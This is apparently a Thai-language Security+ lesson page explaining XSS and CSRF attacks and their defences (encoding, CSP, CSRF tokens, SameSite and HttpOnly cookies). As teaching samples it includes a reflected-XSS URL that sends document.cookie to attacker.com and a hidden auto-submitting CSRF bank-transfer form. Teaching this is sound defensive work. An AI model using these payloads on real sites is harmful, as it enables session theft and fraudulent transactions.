0Pricing
Security+ Academy · บทเรียน

การเขียนสคริปต์ข้ามไซต์ (XSS) และ CSRF

ทำความเข้าใจ XSS แบบสะท้อนกลับ แบบจัดเก็บ และแบบใช้ DOM รวมถึงการโจมตีแบบปลอมแปลงคำขอข้ามไซต์ และมาตรการป้องกันระดับเบราว์เซอร์ที่ขัดขวางการโจมตีเหล่านี้

การเขียนสคริปต์ข้ามไซต์ (XSS) และ CSRF เป็นบทเรียน Security+ Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 2 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Security+ Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Security+ Academy มีบทเรียนทั้งหมด 4 บทเรียน

Cross-Site Scripting คืออะไร

Cross-Site Scripting (XSS) คือช่องโหว่การโจมตีแบบ injection ฝั่งไคลเอ็นต์ ซึ่งผู้โจมตีแทรกสคริปต์ที่เป็นอันตรายลงในหน้าเว็บที่ผู้ใช้อื่นเปิดดู แตกต่างจาก SQL injection ที่มุ่งโจมตี Server เพราะ XSS มุ่งโจมตีเบราว์เซอร์ของผู้เสียหาย เมื่อเบราว์เซอร์ประมวลผลสคริปต์ของผู้โจมตี สคริปต์นั้นจะทำงานด้วยสิทธิ์ระดับเดียวกับสคริปต์ที่ถูกต้องของหน้าเว็บ ทำให้สามารถขโมยเซสชัน ขโมยข้อมูลรับรอง และส่งมัลแวร์ได้

อธิบาย Reflected XSS

Reflected XSS เกิดขึ้นเมื่อสคริปต์ที่เป็นอันตรายถูกฝังไว้ใน URL และ Server ส่งสคริปต์นั้นกลับมาในคำตอบ HTTP ทันทีโดยไม่ได้เข้ารหัสอย่างเหมาะสม ผู้เสียหายจะถูกหลอก ซึ่งมักเกิดผ่านลิงก์ฟิชชิง ให้คลิก URL ที่จัดเตรียมไว้ ทำให้เบราว์เซอร์เรียกใช้สคริปต์ของผู้โจมตี Reflected XSS เป็นการโจมตีแบบไม่คงอยู่ โดยจะทำงานเฉพาะเมื่อผู้เสียหายคลิกลิงก์ที่เป็นอันตราย

# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>

Stored XSS และ DOM-Based XSS

Stored (persistent) XSS ฝังสคริปต์ที่เป็นอันตรายไว้ในฐานข้อมูลของแอปพลิเคชัน เช่น ในความคิดเห็นหรือโพสต์ในฟอรัม ผู้ใช้ทุกคนที่เปิดดูเนื้อหานั้นจะเรียกใช้สคริปต์ในเบราว์เซอร์ของตน ทำให้ stored XSS อันตรายกว่า reflected XSS มาก DOM-based XSS เกิดขึ้นทั้งหมดในเบราว์เซอร์ เมื่อ JavaScript ฝั่งไคลเอ็นต์อ่านข้อมูลที่ผู้โจมตีควบคุมจาก DOM เช่น ส่วน fragment ของ URL แล้วเขียนข้อมูลนั้นกลับลงในหน้าเว็บโดยไม่ปลอดภัย

การป้องกัน XSS: การเข้ารหัสและ CSP

การป้องกันหลักจาก XSS คือ การเข้ารหัสข้อมูลส่งออก โดยแปลงอักขระพิเศษเป็นรูปแบบเอนทิตี HTML ที่ตรงกัน (&lt;, &gt;, &amp;) ก่อนแสดงผลในเบราว์เซอร์ ส่วนหัว Content Security Policy (CSP) จะจำกัดว่าสคริปต์ใดสามารถทำงานได้ จึงเป็นการป้องกันเสริมที่สำคัญ นอกจากนี้ควรตรวจสอบความถูกต้องของข้อมูลนำเข้าโดยยอมรับเฉพาะรายการที่อนุญาตที่ฝั่ง Server ด้วย

# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'

# Blocks inline scripts and restricts external script sources

Cross-Site Request Forgery คืออะไร

Cross-Site Request Forgery (CSRF) ใช้ประโยชน์จากความไว้วางใจที่เว็บไซต์มีต่อเบราว์เซอร์ของผู้ใช้ที่ผ่านการยืนยันตัวตน ผู้โจมตีหลอกให้เบราว์เซอร์ของผู้เสียหายส่งคำขอที่ไม่ต้องการและผ่านการยืนยันตัวตนไปยังเว็บไซต์ที่ผู้เสียหายเข้าสู่ระบบอยู่ เนื่องจากเบราว์เซอร์แนบคุกกี้เซสชันโดยอัตโนมัติ Server เป้าหมายจึงเข้าใจว่าคำขอนั้นถูกต้องตามปกติ การโจมตี CSRF ที่พบบ่อยมักใช้โอนเงิน เปลี่ยนที่อยู่อีเมล หรือแก้ไขการตั้งค่าบัญชี

การทำงานของการโจมตี CSRF

ลองนึกภาพว่าผู้ใช้เข้าสู่ระบบธนาคารที่ bank.com อยู่ ผู้โจมตีส่งอีเมลพร้อมแท็กรูปภาพที่ซ่อนไว้ให้ผู้ใช้ดังนี้: <img src='https://bank.com/transfer?to=attacker&amount=1000'> เมื่อเปิดอีเมล เบราว์เซอร์จะโหลด URL ของรูปภาพโดยอัตโนมัติ และส่งคำขอโอนเงินพร้อมคุกกี้เซสชันธนาคารของผู้เสียหาย ธนาคารจึงประมวลผลคำขอนั้นเสมือนเป็นคำขอที่ถูกต้อง

<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
  <input type='hidden' name='to' value='attacker_account' />
  <input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>

การป้องกัน CSRF: โทเค็นและ SameSite

การป้องกัน CSRF ที่มีประสิทธิภาพที่สุดคือ โทเค็น CSRF ซึ่งเป็นค่าที่ไม่ซ้ำและคาดเดาได้ยาก โดยฝังไว้ในแบบฟอร์มทุกแบบและตรวจสอบที่ฝั่ง Server เนื่องจากผู้โจมตีไม่สามารถอ่านโทเค็นจากต้นทางอื่นได้ (นโยบายต้นทางเดียวกัน) คำขอปลอมจึงไม่มีโทเค็นที่ถูกต้องและจะถูกปฏิเสธ นอกจากนี้ แอตทริบิวต์คุกกี้ SameSite (SameSite=Strict หรือ Lax) ยังป้องกันไม่ให้เบราว์เซอร์ส่งคุกกี้ไปกับคำขอข้ามเว็บไซต์ได้

# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />

XSS กับ CSRF: ความแตกต่างสำคัญ

ผู้คนมักสับสนระหว่าง XSS กับ CSRF แต่การโจมตีทั้งสองมุ่งเป้าหมายต่างกัน XSS แทรกสคริปต์ที่เป็นอันตรายให้ทำงานในเบราว์เซอร์ของผู้เสียหาย โดยใช้ประโยชน์จากความไว้วางใจของผู้ใช้ที่มีต่อเว็บไซต์ ส่วน CSRF ปลอมแปลงคำขอจากเบราว์เซอร์ของผู้เสียหายไปยังเว็บไซต์ที่เชื่อถือได้ โดยใช้ประโยชน์จากความไว้วางใจของเว็บไซต์ที่มีต่อเบราว์เซอร์ของผู้ใช้ XSS สามารถใช้ขโมยโทเค็น CSRF ซึ่งเป็นการเชื่อมโยงช่องโหว่ทั้งสองเข้าด้วยกันได้

แฟล็กคุกกี้ HttpOnly และ Secure

แฟล็กคุกกี้ช่วยลดผลกระทบจาก XSS ได้อย่างสำคัญ แฟล็ก HttpOnly ป้องกันไม่ให้ JavaScript เข้าถึงคุกกี้ผ่าน document.cookie ทำให้การขโมยโทเค็นเซสชันทำได้ยากขึ้น แม้จะมี XSS อยู่ก็ตาม แฟล็ก Secure ทำให้แน่ใจว่าคุกกี้จะถูกส่งผ่าน HTTPS เท่านั้น จึงป้องกันการดักจับบนช่องทางที่ไม่ได้เข้ารหัส ควรกำหนดแฟล็กทั้งสองให้กับคุกกี้เซสชันทั้งหมดเพื่อเป็นมาตรการป้องกันหลายชั้น

Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

การทดสอบหาช่องโหว่ XSS

ผู้ทดสอบด้านความปลอดภัยจะระบุ XSS ด้วยการแทรกข้อมูลโจมตีสำหรับตรวจสอบลงในช่องข้อมูลนำเข้า พารามิเตอร์ URL ส่วนหัว HTTP และช่องข้อมูล JSON ทุกจุด ข้อมูลตรวจสอบแบบง่ายคือ <script>alert(1)</script> หากมีกล่องแจ้งเตือนปรากฏขึ้น แสดงว่ายืนยัน XSS ได้ เครื่องมืออย่าง Burp Suite ช่วยทำการสแกน XSS โดยอัตโนมัติ และ OWASP ZAP มีการสแกนเชิงรุกให้ใช้งานฟรี ส่วน DOM-based XSS จำเป็นต้องวิเคราะห์ JavaScript ฝั่งเบราว์เซอร์ แทนการตรวจสอบคำตอบจาก Server

ผลกระทบของ XSS ในโลกจริง

การโจมตี XSS สร้างความเสียหายอย่างมากในโลกจริง หนอน Samy ในปี 2005 แพร่กระจายไปทั่ว MySpace ภายใน 20 ชั่วโมง โดยใช้ประโยชน์จาก stored XSS เพื่อแพร่ตัวเองไปยังโพรไฟล์มากกว่าหนึ่งล้านโพรไฟล์ การโจมตี XSS สามารถขโมยโทเค็นเซสชันเพื่อยึดบัญชีได้ทั้งหมด เปลี่ยนเส้นทางผู้ใช้ไปยังเว็บไซต์ฟิชชิง ส่งช่องโหว่โจมตีเบราว์เซอร์ เช่น การดาวน์โหลดแบบไดรฟ์บาย และแก้ไขเนื้อหาหน้าเว็บเพื่อแสดงข้อมูลเท็จแก่ผู้ใช้เป้าหมาย

ตรวจสอบความเข้าใจอย่างรวดเร็ว

ทดสอบความเข้าใจแนวคิดของ CompTIA Security+ (SY0-701) จากบทเรียนนี้

สรุปบทเรียน

ในบทเรียนนี้ คุณได้เรียนรู้ว่า XSS แทรกสคริปต์ลงในหน้าที่ผู้ใช้อื่นเปิดดู CSRF หลอกเบราว์เซอร์ที่ผ่านการยืนยันตัวตนให้ส่งคำขอปลอม และ การเข้ารหัสข้อมูลส่งออก, CSP, โทเค็น CSRF และแอตทริบิวต์คุกกี้ SameSite เป็นแนวทางป้องกันหลัก บทถัดไปเราจะสำรวจการยืนยันตัวตนที่มีช่องโหว่และการดีซีเรียลไลซ์ที่ไม่ปลอดภัย

คำถามที่พบบ่อย

บทเรียน “การเขียนสคริปต์ข้ามไซต์ (XSS) และ CSRF” ฟรีหรือไม่

ใช่ — ข้อความเต็มของ “การเขียนสคริปต์ข้ามไซต์ (XSS) และ CSRF” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Security+ Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Security+ Academy มีบทเรียนทั้งหมด 4 บทเรียน

คุณจะเรียนรู้อะไรในบทเรียน “การเขียนสคริปต์ข้ามไซต์ (XSS) และ CSRF”

ทำความเข้าใจ XSS แบบสะท้อนกลับ แบบจัดเก็บ และแบบใช้ DOM รวมถึงการโจมตีแบบปลอมแปลงคำขอข้ามไซต์ และมาตรการป้องกันระดับเบราว์เซอร์ที่ขัดขวางการโจมตีเหล่านี้ คุณปฏิบัติ Security+ Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน

คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Security+ Academy หรือไม่

ไม่จำเป็นต้องมีประสบการณ์มาก่อน Security+ Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 2 จากทั้งหมด 4 บทเรียน

บทเรียน “การเขียนสคริปต์ข้ามไซต์ (XSS) และ CSRF” ใช้เวลานานแค่ไหน

บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย

ฉันเขียนและรันโค้ดในบทเรียน Security+ Academy นี้ได้ไหม

ได้ บทเรียน Security+ Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ

บทเรียนทั้งหมดในหลักสูตรนี้

  1. การแทรกคำสั่ง SQL และคำสั่งระบบ
  2. การเขียนสคริปต์ข้ามไซต์ (XSS) และ CSRF
  3. การยืนยันตัวตนที่มีข้อบกพร่องและการดีซีเรียลไลซ์ที่ไม่ปลอดภัย
  4. SDLC ที่ปลอดภัย เครื่องมือ SAST และ DAST
← กลับไปที่ Security+ Academy